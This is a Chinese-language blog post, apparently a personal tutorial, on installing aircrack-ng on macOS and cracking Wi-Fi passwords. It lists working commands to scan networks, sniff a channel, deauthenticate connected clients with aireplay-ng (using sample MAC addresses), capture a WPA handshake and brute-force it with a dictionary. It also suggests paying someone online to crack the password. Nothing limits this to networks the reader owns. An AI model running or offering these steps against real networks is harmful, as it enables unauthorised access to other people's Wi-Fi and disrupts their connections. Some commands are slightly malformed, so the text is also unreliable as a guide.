c4rt1y

mac安装aircrack-ng破解无线

0x01 介绍

mac的无线破解,其实核心还是aircrack-ng,本文的作用就是介绍下mac下aircrack-ng安装和简单使用。

0x02 安装破解流程

首先,我们需要在mac下安装xcode和MacPorts,默认xcode貌似装了,所以这里介绍下安装MacPorts。当前我用的mac是10.11。

version

为了快速安装,采取使用pkg文件安装(如果版本不一样,请看最下面关联链接)。

wget https://github.com/macports/macports-base/releases/download/v2.4.2/MacPorts-2.4.2-10.11-ElCapitan.pkg


使用port里面安装aircrack-ng速度最快,直接安装
sudo port install aircrack-ng -y

默认安装完毕,使用ifconfig获取当前网卡名字
ifconfig

wangka

使用airport获取信号(RSSI为信号强度,channel 为信号栏)
sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s

ping

发现RSSI最好的是603603,他的信号栏是1,所以我们开始监听
sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 1
通过
这里需要明白一点,在监听的时间内,有设备进行连接该wifi,才能抓取到密码。这里有两种思路,第一种是使用aireplay-ng踢掉在线用户,使其重新连接,新开一个窗口,命令格式如下
aireplay-ng --deaut 10 -a 路由器mac -c 本机mac en0,
命令如下:
aireplay-ng --deaut 10 -a 1c:60:de:8a:55:e2 -c ac:bc32:9b:94:09 en0
第二种则是等待一天时间,抓取大量报文。

大概预测抓到以后,使用ctrl+c,自动保存到tmp目录下。

catch_package

查看是否抓到数据
sudo aircrack-ng   /tmp/airportSniff8g0Oex.cap | grep handshake | head -n 20

get_handshake

采取字典进行爆破,其实还是靠字典的能力了,也可以到淘宝花钱找人爆破密码。

key

0x03 资料来源

https://www.cnblogs.com/diligenceday/p/6344487.html
GoTop